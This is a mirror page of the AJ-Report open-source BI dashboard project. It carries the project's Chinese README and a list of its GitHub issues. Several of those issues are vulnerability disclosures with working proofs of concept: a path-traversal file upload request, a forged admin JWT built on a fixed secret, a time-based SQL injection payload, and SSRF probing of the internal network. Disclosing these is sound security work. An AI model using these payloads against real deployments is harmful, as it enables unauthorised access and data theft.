Giter Club home page Giter Club logo

anji-plus / report Goto Github PK

View Code? Open in Web Editor NEW
971.0 13.0 276.0 107.07 MB

AJ-Report是一个完全开源,拖拽编辑的可视化设计工具。三步快速完成大屏:配置数据源---->写SQL配置数据集---->拖拽生成大屏。让管理层随时随地掌控业务动态,让每个决策都有数据支撑。

Home Page: https://report.anji-plus.com/index.html

License: Apache License 2.0

Java 9.56% JavaScript 49.73% Dockerfile 0.01% HTML 11.64% Vue 27.50% CSS 0.99% SCSS 0.49% Shell 0.06% Batchfile 0.02%

report's Introduction

简介

    AJ-Report是全开源的一个BI平台,酷炫大屏展示,能随时随地掌控业务动态,让每个决策都有数据支撑。
    多数据源支持,内置mysql、elasticsearch、kudu驱动,支持自定义数据集省去数据接口开发,目前已支持30+种大屏组件/图表,不会开发,照着设计稿也可以制作大屏。
    三步轻松完成大屏设计:配置数据源---->写SQL配置数据集---->拖拽配置大屏---->保存发布。欢迎体验。

在线体验

在线体验: https://ajreport.beliefteam.cn/index.html  体验账号:guest 密码:guest

发行版本

功能概述

  组件介绍

   大屏设计(AJ-Report)是一个可视化拖拽编辑的,直观,酷炫,具有科技感的图表工具全开源项目。 内置的基础功能包括数据源,数据集,报表管理,项目部分截图如下。

操作

数据流程图

An image

打包目录build

├── bin                                           启动命令脚本
│   ├── restart.sh
│   ├── start.bat
│   ├── start.sh
│   └── stop.sh
├── conf                                       配置文件目录
│   └── bootstrap.yml
├── logs                                          启动日志目录
├── cache                                         本地缓存目录
├── lib                                           自定义扩展包&report-core核心包

系统目录

├── doc                                           文档源码
│   ├── docs
│   ├── package.json
│   └── README.md
├── pom.xml                                       父pom,jar版本管理
├── report-core                                   java源码
│   ├── pom.xml                                   gaea父pom,jar版本管理
│   └── README.md
├── report-ui                                     前端vue源码
├── LICENSE
├── README.md

核心技术

依赖

  • [Mysql] 5.7
  • [Jdk] 1.8

后端

  • Spring Boot2.3.5.RELEASE: Spring Boot是一款开箱即用框架,让我们的Spring应用变的更轻量化、更快的入门。 在主程序执行main函数就可以运行。你也可以打包你的应用为jar并通过使用java -jar来运行你的Web应用;
  • Mybatis-plus3.3.2: MyBatis-plus(简称 MP)是一个 MyBatis (opens new window) 的增强工具。
  • flyway5.2.1: 主要用于在你的应用版本不断升级的同时,升级你的数据库结构和里面的数据

前端

  • npm:node.js的包管理工具,用于统一管理我们前端项目中需要用到的包、插件、工具、命令等,便于开发和维护。
  • webpack:用于现代 JavaScript 应用程序的静态模块打包工具。
  • ES6:JavaScript的新版本,ECMAScript6的简称。利用ES6我们可以简化我们的JS代码,同时利用其提供的强大功能来快速实现JS逻辑。
  • vue-cli:Vue的脚手架工具,用于自动生成Vue项目的目录及文件。
  • vue-router: Vue提供的前端路由工具,利用其我们实现页面的路由控制,局部刷新及按需加载,构建单页应用,实现前后端分离。
  • element-ui:基于MVVM框架Vue开源出来的一套前端ui组件。
  • avue: 用该组件包裹后可以变成拖拽组件,采用相对于父类绝对定位,用键盘的上下左右也可以控制移动。
  • vue-echarts: vue-echarts是封装后的vue插件,基于 ECharts v4.0.1+ 开发。
  • vue-superslide: Vue-SuperSlide(Github) 是 SuperSlide 的 Vue 封装版本。
  • vuedraggable: 是一款基于Sortable.js实现的vue拖拽插件。
  • luckysheet: Luckysheet ,一款纯前端类似excel的在线表格,功能强大、配置简单、完全开源。

部署方式

运行环境参考文档
注意版本兼容性
源码 doc -> docs -> guide 目录下即所有文档。
启动文档(在线文档图片多,打开很慢可以本地启动文档,方便查看)

cd .\doc\
npm run docs:dev

发行版部署

发行版部署详细文档

简易步骤

下载最新发行版,解压
cd aj-report-xxxx
vim conf/bootstrap.yml 修改数据库连接、上传下载地址等信息
sh bin/start.sh Linux启动
bin/start.bat Windows修改第4行的JAVA_HOME后(去掉rem注释),双击启动

启动后访问
http://serverip:9095
用户名密码:admin/123456

源码编译部署

源码编译部署详细文档

在Linux上先准备好maven、node.js、jdk

  • [Apache Maven] 3.5
  • [Node.js] v14.16.0
  • [Jdk] 1.8

简易步骤

git clone https://gitee.com/anji-plus/report.git
cd report
sh build.sh
编译完成放在build文件夹 aj-report-xxxx.zip

unzip aj-report-xxxx.zip
cd aj-report-xxxx
vim conf/bootstrap.yml 修改数据库连接、上传下载地址等信息
sh bin/start.sh Linux启动
bin/start.bat Windows修改第4行的JAVA_HOME后(去掉rem注释),双击启动

启动后访问
http://serverip:9095
用户名密码:admin/123456

前后端分离部署

前后端分离部署参考文档

快速入门

快速入门

更多社区大屏

社区大屏下载链接

SQL初始化

sql文件的目录在:report-core --> src --> main --> resources -- > db.migration
系统初始化时flyway会自动的将该目录下的sql文件执行,不需要手动执行sql文件,执行完将会创建 aj_report(存放系统基础数据)数据库

谁在使用

感谢关注并使用AJ-Report的朋友,如果贵公司、组织、学校等正在使用AJ-Report,希望可以按照此Issue 登记并提供贵公司、组织、学校的logo,我们将把贵方的logo放在项目首页进行展示并优先进行技术支持







已知问题

  • IE白屏(兼容性问题)

版本问题

已知以下版本存在兼容性问题,请不要使用

  • Node.js V16及以上
  • openJdk
  • Jdk 1.7及以下/11及以上(jdk11部分版本有问题)
  • Mysql 8.0(8.0.23/26版本没有问题,8.0.21版本存在问题)

常见问题

商业授权

AJ-Report使用Apache2.0开源协议 ,允许商业使用,但务必保留类作者、Copyright信息。
个人和企业,在直接使用、二次开发后商业使用,需要遵守:

  • 包含Apache LICENSE文件
  • 如果修改了代码,需要在被修改的文件中说明
  • 在修改和有源代码衍生的代码中,需要带有原来代码中的协议,商标
  • 在二次开发后商业发布的产品中,使用了多个开源软件,则必须包含一个Notice文件,在Notice文件中需要带有Apache LICENSE。你可以在Notice中增加自己的许可,但不可以表现为对Apache LICENSE构成更改。

技术支持

如有问题,请提交 Issue

个人微信:个人微信,不闲聊,加群、咨询请备注,备注格式不限但最好是:“项目名 + 问题” ,项目名可以是AJ-ReportReport大屏,只要能一眼分辨就行
例1:大屏 加群
例2:report 有个问题xxxx
有问题,不管是技术问题还是使用问题,都尽量在群里问。加个人微信记得一定要加备注 !!!

更多支持

联系方式

加入我们

  • 提交PR是最快的加入方式:
    · PR可以包含新功能、现有功能的改进。
    . PR请提交到dev分支
  • 提供文档原文或者文档链接:
    . 文档原文的话,请放在doc/docs/guide/community目录下,也可直接提交pr
    . 文档链接的话,文档需要完全的公开,不掺杂收费等相关内容,审核通过会放在首页
  • 提供大屏模板:
    . 可将自己设计好的大屏进行导出(不包含数据集),将导出产生的压缩包提供给我们
    . 提供的大屏将会在AJ-Report在线演示环境进行展示和供其他人下载

开源不易,劳烦各位star ☺

感谢JetBrains 的支持


Stargazers over time

Stargazers over time

report's People

Contributors

bigbigsky avatar cheartbeat avatar coding-now avatar cxysl avatar icetimidus avatar iquanzi-top avatar lexmarn001 avatar lixiaoyan9950 avatar lltx avatar luckyusaosao avatar luotingv1 avatar peiyanni avatar qlsjj avatar raodeming avatar shenmelixu avatar smallweis avatar tclqwl avatar zhaoyb-coder avatar zjf-wyjs avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

report's Issues

上传图片失败

我下载的发行版,上传图片时遇到了错误,显示找不到路径,不知道怎么处理:
image

Arbitrary SSRF vulnerability

这是英文的漏洞报告,中文的在(This is the English report, the Chinese report is SSRF漏洞):

Description

AJ-Report is a fully open-source BI platform with a cool large-screen display that can control business dynamics anytime and anywhere, so that every decision is supported by data.

@PostMapping("/testConnection") In the test connection, there is no restriction, and the attack can construct a malicious address to detect the intranet.

Login API:

com.anjiplus.template.gaea.business.modules.datasource.controller#testConnection
image

This interface receives the request and hands it to testConnection() for processing
Go to com.anjiplus.template.gaea.business.modules.datasource.service.impl#testConnection
image

You can see that the case statement is used and http communication is selected.

com.anjiplus.template.gaea.business.modules.datasource.service.impl#testHttp()

org.springframework.web.client#exchange()

org.springframework.web.client#execute()
image
image
image
According to the above call, the url and httpMethod will be obtained from the dto, and executed in doExecute().

org.springframework.web.client#doExecute()
image
You can see that there is no limit to what is passed in, and the request is executed directly.

TEST

image
image
Here is a request for any method, dangerous delete, put.
image
image
image
The port test is carried out here, and it can be found that the returned lengths are different. If it does not exist, it will return failed: Connection refused" string. The characteristics are obvious.

任意文件上传漏洞

This is the Chinese report, the English report is in(这是中文的漏洞报告,英文的在): Arbitrary file upload vulnerability

描述

@PostMapping /reportDashboard/import/{reportCode} 导入大屏的接口中,接受文件上传,未对文件后缀进行限制,未对文件名进行检测过滤消毒的操作,导致任意文件删除漏洞

漏洞详细

该接口接收文件上传,交给 reportDashboardService.importDashboard() 进行处理

com.anjiplus.template.gaea.business.modules.dashboard.controller.ReportDashboardController#importDashboard

image-20221026160808669

跟进 reportDashboardService.importDashboard(),在该方法中调用了 FileUtil.decompress(file, path); 对文件进行解压操作

com.anjiplus.template.gaea.business.modules.dashboard.service.impl.ReportDashboardServiceImpl#importDashboard

image-20221026161014596

跟进 FileUtil.decompress(file, path); 这里调用了 MultipartFile.transferTo() 写入文件,写入文件成功后,对文件进行解压操作,解压成功 后对文件进行删除

image-20221026161331042

这里错误的将文件删除放到了异常处理的最后,导致调用 decompress() 解压文件时,传入非压缩文件时程序抛出错误java.util.zip.ZipException: error in opening zip file 后跳过了 file.delete() 使文件不被删除。

image-20221026162952698

通过 debug 可以看到,这里使用的是 StandardMultipartFile

image-20221026161648401

StandardMultipartFile 中没有对文件名进行处理,造成任意目录穿越

image-20221026161745500

漏洞复现

payload

POST /reportDashboard/import/1 HTTP/1.1
Host: 192.168.157.1:9095
Content-Length: 197
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryioAUPYKgV5wtlqtC
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Authorization:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ0eXBlIjowLCJ1dWlkIjoiN2ZkNDEyYWZjNzA3NGQ2MTljMzY4YTEyYTcxN2Y1M2IiLCJ0ZW5hbnQiOiJ0ZW5hbnRDb2RlIiwidXNlcm5hbWUiOiJhZG1pbiJ9.UVEOQNijHeSt0YDj5mAT2S0GS6d_wRnpc8wesc_-Gqw

------WebKitFormBoundaryioAUPYKgV5wtlqtC
Content-Disposition: form-data; name="file"; filename="../EXP.payload"
Content-Type: application/zip

Upload Success
------WebKitFormBoundaryioAUPYKgV5wtlqtC--

上传成功

image-20221026161958447

权限问题+SQL注入漏洞

接口http://ip/dataSource/pageList存在权限问题,只有查看权限的可以获取数据库密码,从而直接登录数据库。
image
如果无法直接连接,则该用户可以调用POST /dataSet/testTransform进行SQL注入,该处也没有权限限制,payload如下:
Parameter: JSON #1* ((custom) POST)
Type: time-based blind
Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)
Payload:
{"sourceCode":"001","dynSentence":"(SELECT 6513 FROM (SELECT(SLEEP(5)))geRa)","dataSetParamDtoList":[],"dataSetTransformDtoList":[],"setType":"sql"}

back-end DBMS: MySQL >= 5.0.12

启动Spring Boot报错:APPLICATION FAILED TO START, Field gaeaOSSTemplate in com.anjiplus.template.gaea.business.modules.file.service.impl.GaeaFileServiceImpl required a bean of type 'com.anji.plus.gaea.oss.ossbuilder.GaeaOSSTemplate' that could not be found.

Error starting ApplicationContext. To display the conditions report re-run your application with 'debug' enabled.
11-20 09:13:06.962 | main |-ERROR o.s.b.d.LoggingFailureAnalysisReporter:40 -


APPLICATION FAILED TO START


Description:

Field gaeaOSSTemplate in com.anjiplus.template.gaea.business.modules.file.service.impl.GaeaFileServiceImpl required a bean of type 'com.anji.plus.gaea.oss.ossbuilder.GaeaOSSTemplate' that could not be found.

The injection point has the following annotations:
- @org.springframework.beans.factory.annotation.Autowired(required=true)

The following candidates were found but could not be injected:
- Bean method 'gaeaOSSTemplate' in 'AutoConfiguration' not loaded because @ConditionalOnProperty (spring.gaea.subscribes.oss.enabled=true) found different value in property 'spring.gaea.subscribes.oss.enabled'

Action:

Consider revisiting the entries above or defining a bean of type 'com.anji.plus.gaea.oss.ossbuilder.GaeaOSSTemplate' in your configuration.

Arbitrary file upload vulnerability

这是英文的漏洞报告,中文的在(This is the English report, the Chinese report is in): 任意文件上传漏洞

Description

@PostMapping /reportDashboard/import/{reportCode} In the interface of importing the big screen, it accepts file uploads, does not limit the file suffix, and does not detect, filter and sterilize the file name, resulting in Arbitrary file upload vulnerability

Vulnerability details

This API receives file uploads and hands them over to reportDashboardService.importDashboard() for processing

com.anjiplus.template.gaea.business.modules.dashboard.controller.ReportDashboardController#importDashboard

image-20221026160808669

Follow up reportDashboardService.importDashboard(), in this method call FileUtil.decompress(file, path); to decompress the file

com.anjiplus.template.gaea.business.modules.dashboard.service.impl.ReportDashboardServiceImpl#importDashboard

image-20221026161014596

Follow up FileUtil.decompress(file, path); Here calls MultipartFile.transferTo() to write the file, after the file is written successfully, decompress the file, ***After the decompression is successful, *** delete the file

image-20221026161331042

Here, the file deletion is wrongly placed at the end of the exception processing, resulting in calling decompress() to decompress the file, and the program throws an error when a non-compressed file is passed in java.util.zip.ZipException: error file.delete() is skipped after opening zip file so that the file is not deleted.

image-20221026162952698

You can see through debug that StandardMultipartFile is used here

image-20221026161648401

The file name is not processed in StandardMultipartFile, resulting in arbitrary directory traversal

image-20221026161745500

Vulnerability to reproduce

payload

POST /reportDashboard/import/1 HTTP/1.1
Host: 192.168.157.1:9095
Content-Length: 197
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryioAUPYKgV5wtlqtC
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Authorization:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ0eXBlIjowLCJ1dWlkIjoiN2ZkNDEyYWZjNzA3NGQ2MTljMzY4YTEyYTcxN2Y1M2IiLCJ0ZW5hbnQiOiJ0ZW5hbnRDb2RlIiwidXNlcm5hbWUiOiJhZG1pbiJ9.UVEOQNijHeSt0YDj5mAT2S0GS6d_wRnpc8wesc_-Gqw

------WebKitFormBoundaryioAUPYKgV5wtlqtC
Content-Disposition: form-data; name="file"; filename="../EXP.payload"
Content-Type: application/zip

Upload Success
------WebKitFormBoundaryioAUPYKgV5wtlqtC--

file upload successfully

image-20221026161958447

个人对大屏报表使用的一些想法

1.不能通过数据控制大屏图素的显示或隐藏,要是能控制显示和隐藏,那么交互上更好
2.能增加mqtt数据集那么应用场景就更加广泛了

身份验证绕过漏洞

This is the Chinese report, the English report is in(这是中文的漏洞报告,英文的在): 身份验证绕过漏洞

漏洞描述

程序使用固定的 JWT 密钥,存储的 Redis 密钥使用用户名格式字符。 任何在一小时内登录的用户。 可以用他的用户名伪造 JWT Token 以绕过身份验证

登录接口

com.anjiplus.template.gaea.business.modules.accessuser.controller.AccessUserController#login

image-20221015111709407

使用用户名创建格式化字符作为 Redis 存储的键值使用,虽然使用了 uuid 但 uuid 并没有参与到身份验证中。

com.anjiplus.template.gaea.business.modules.accessuser.service.impl.AccessUserServiceImpl#login

com.anjiplus.template.gaea.business.constant.BusinessConstant#GAEA_SECURITY_LOGIN_TOKEN

image-20221015112014779

使用了固定的 JWT 密钥

spring-boot-gaea-2.0.5.RELEASE.jar!com.anji.plus.gaea.utils.JwtBean#createToken

spring-boot-gaea-2.0.5.RELEASE.jar!com.anji.plus.gaea.GaeaProperties.Security#getJwtSecret

image-20221015112804990

在 TokenFilter 中进行身份验证

com.anjiplus.template.gaea.business.filter.TokenFilter#doFilter

image-20221015113222257

通过修改 "username" 字段来伪造不同用户的Token

{
    "type": 0,
    "uuid": "",
    "tenant": "tenantCode",
    "username": "admin"
}
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ0eXBlIjowLCJ1dWlkIjoiIiwidGVuYW50IjoidGVuYW50Q29kZSIsInVzZXJuYW1lIjoiYWRtaW4ifQ.ce3xqqUypEinA_ZCSky9AptKjkG8qFm8ESMuCunqe6Y

image-20221015122659078

Authentication Bypass vulnerability

这是英文的漏洞报告,中文的在(This is the English report, the Chinese report is in): 身份验证绕过漏洞

Description

The program uses a fixed JWT key, and the stored Redis key uses username format characters. Any user who has logged in within an hour. JWT Token can be forged with his username to bypass authentication

Login API

com.anjiplus.template.gaea.business.modules.accessuser.controller.AccessUserController#login

image-20221015111709407

Make redis key of format username, Although uuid is used, uuid is not involved in authentication.

com.anjiplus.template.gaea.business.modules.accessuser.service.impl.AccessUserServiceImpl#login

com.anjiplus.template.gaea.business.constant.BusinessConstant#GAEA_SECURITY_LOGIN_TOKEN

image-20221015112014779

Uses a fixed JWT secret key

spring-boot-gaea-2.0.5.RELEASE.jar!com.anji.plus.gaea.utils.JwtBean#createToken

spring-boot-gaea-2.0.5.RELEASE.jar!com.anji.plus.gaea.GaeaProperties.Security#getJwtSecret

image-20221015112804990

TokenFilter for authentication

com.anjiplus.template.gaea.business.filter.TokenFilter#doFilter

image-20221015113222257

Forge different users' Tokens by modifying the username field

{
    "type": 0,
    "uuid": "",
    "tenant": "tenantCode",
    "username": "admin"
}
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ0eXBlIjowLCJ1dWlkIjoiIiwidGVuYW50IjoidGVuYW50Q29kZSIsInVzZXJuYW1lIjoiYWRtaW4ifQ.ce3xqqUypEinA_ZCSky9AptKjkG8qFm8ESMuCunqe6Y

image-20221015122659078

ssrf漏洞

This is the Chinese report, the English report is in(这是中文的漏洞报告,英文的在): Arbitrary SSRF vulnerability

描述

AJ-Report是全开源的一个BI平台,酷炫大屏展示,能随时随地掌控业务动态,让每个决策都有数据支撑。

@PostMapping("/testConnection") 在测试链接中,没有做限制,攻击可以构造恶意地址来探测内网。

漏洞详细

该接口接收请求,交给 ***testConnection()***进行处理

com.anjiplus.template.gaea.business.modules.datasource.controller#testConnection()
image
来到com.anjiplus.template.gaea.business.modules.datasource.service.impl#testConnection
image
可以看到使用了case语句,选择http通信。
com.anjiplus.template.gaea.business.modules.datasource.service.impl#testHttp()
org.springframework.web.client#exchange()
org.springframework.web.client#execute()
image
image
image
根据以上调用取得会从dto中取得url、httpMethod,在doExecute()执行。
org.springframework.web.client#doExecute()
image
可以看见传进来的没有限制,直接执行请求。

测试

image
image
这里是任意方法的请求,危险的delete、put。
image
image
image

这里进行端口测试,可以发现返回的长度是不一样的。不存在会返回failed: Connection refused" 字符串。特征明显。

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.